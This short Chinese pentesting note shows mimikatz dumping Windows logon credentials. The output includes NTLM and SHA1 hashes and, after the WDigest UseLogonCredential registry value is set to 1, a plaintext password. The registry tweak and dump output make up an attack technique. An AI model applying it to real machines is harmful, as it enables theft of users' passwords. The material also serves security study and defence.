默认配置是抓不到明文密码了，神器mimikatz显示Password为null
Authentication Id : 0 ; 121279 (00000000:0001d9bf)
Session : Interactive from 1
User Name : mickey
Domain : WIN-B054LAOH5FC
Logon Server : WIN-B054LAOH5FC
Logon Time : 2014/2/7 16:13:37
SID : S-1-5-21-3697557613-2315859964-140861748-1001
msv :
[00000003] Primary
* Username : mickey
* Domain : WIN-B054LAOH5FC
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
[00010000] CredentialKeys
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
tspkg :
wdigest :
* Username : mickey
* Domain : WIN-B054LAOH5FC
* Password : (null)
kerberos :
* Username : mickey
* Domain : WIN-B054LAOH5FC
* Password : (null)
ssp : KO
credman :
需要HKLM:SYSTEMCurrentControlSetControlSecurityProvidersWDigest的"UseLogonCredential"设置为1，类型为DWORD 32才可以，然后下次用户再登录，就能记录到明文密码了 
Authentication Id : 0 ; 2506062 (00000000:00263d4e)
Session : Interactive from 2
User Name : mickey
Domain : WIN-B054LAOH5FC
Logon Server : WIN-B054LAOH5FC
Logon Time : 2015/5/11 11:47:35
SID : S-1-5-21-3697557613-2315859964-140861748-1001
msv :
[00010000] CredentialKeys
* NTLM : ad12521316a18d2172f20db07674c278
* SHA1 : 85b6b322a966fe19f758ee15fd7516c23c33cb7c
[00000003] Primary
* Username : mickey
* Domain : WIN-B054LAOH5FC
* NTLM : ad12521316a18d2172f20db07674c278
* SHA1 : 85b6b322a966fe19f758ee15fd7516c23c33cb7c
tspkg :
wdigest :
* Username : mickey
* Domain : WIN-B054LAOH5FC
* Password : AGeisNBVeryNB@wooyun.org
参考链接
http://www.labofapenetrationtester.com/2015/05/dumping-passwords-in-plain-on-windows-8-1.html